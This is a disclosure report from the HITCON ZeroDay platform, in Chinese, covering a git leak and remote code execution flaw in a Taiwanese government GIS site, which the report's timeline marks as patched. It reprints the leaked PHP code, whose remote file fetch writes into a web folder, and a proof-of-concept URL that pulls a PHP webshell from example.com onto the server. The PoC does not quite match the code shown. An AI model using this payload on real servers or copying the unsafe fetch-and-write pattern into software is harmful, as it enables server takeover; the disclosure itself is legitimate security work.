行政院農業委員會水土保持局 BigGIS巨量空間資訊系統Git洩漏 && GetShell - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00181
  •  發信 Vendor: 行政院農業委員會水土保持局
  • Title: 行政院農業委員會水土保持局 BigGIS巨量空間資訊系統Git洩漏 && GetShell
  • Introduction: Git洩漏審計程式碼發現任意可以GetShell

處理狀態

目前狀態

公開
Last Update : 2020/07/20
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2020/04/09 21:52:38 : 新提交 (由 不會講幹話的大陸仔 更新此狀態)
  • 2020/04/09 21:53:37 : 新提交 (由 不會講幹話的大陸仔 更新此狀態)
  • 2020/04/09 23:42:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/04/10 15:43:58 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/04/10 15:43:58 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/06/09 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2020/07/13 00:03:33 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/07/20 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00181
  • 通報者:afsdu89qrfah98 (不會講幹話的大陸仔)
  • 風險:高
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://gis.swcb.gov.tw/.git/config
https://gis.swcb.gov.tw/php/get_subscene.php

敘述

通過Git下載后審查程式碼。發現很大的問題啦~

<?php
header("Content-type: text/json");
//echo $_GET["u"];
$xml=@file_get_contents($_GET["u"]);
$returnJSON = (array) json_decode($xml, true);
{'result':}
/*
{"result":""}
*/
//echo "\n".$xml."\n".$returnJSON['result']['kml'];
if ( $xml != FALSE ) {
  if ( isset($returnJSON['result']) ) {

    $getFileName = preg_split("/\//u", $returnJSON['result']['animation']);
    $FileName = $getFileName[count($getFileName) - 1];
    $PathName = "storage/temp_sentinel/".$_GET["n"].$FileName;
    $returnJSON['imgFilePath'] = $PathName;

    file_put_contents("../".$PathName, file_get_contents($returnJSON['result']['animation'], FILE_APPEND | LOCK_EX));

    $imageDetail = getimagesize("../".$PathName);
    $returnJSON['imageWidth'] = $imageDetail[0];
    $returnJSON['imageHeight'] = $imageDetail[1];

    $getFileName = preg_split("/\//u", $returnJSON['result']['images']);
    $FileName = $getFileName[count($getFileName) - 1];
    $PathName = "storage/temp_sentinel/".$_GET["n"].$FileName;
    $returnJSON['imgZipPath'] = $PathName;

    //file_put_contents("../".$PathName, file_get_contents($returnJSON['result']['images'], FILE_APPEND | LOCK_EX));

    echo json_encode($returnJSON, true);

  } else {
    echo $xml;
  }
} else {
  echo '{"result":false}';
}
?>

傳入JSON數組,然後通過file_get_contents函數可以GetShell
Poc

https://gis.swcb.gov.tw/php/get_subscene.php?u={"result":{"animation":"http://example.com/.1.php","image":"","imageWidth":1,"imageHeight":1

即可拿到webshell,在/storage/temp_sentinel/.1.php
我沒有上傳啦~

修補建議

刪除.git,修正程式錯誤。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;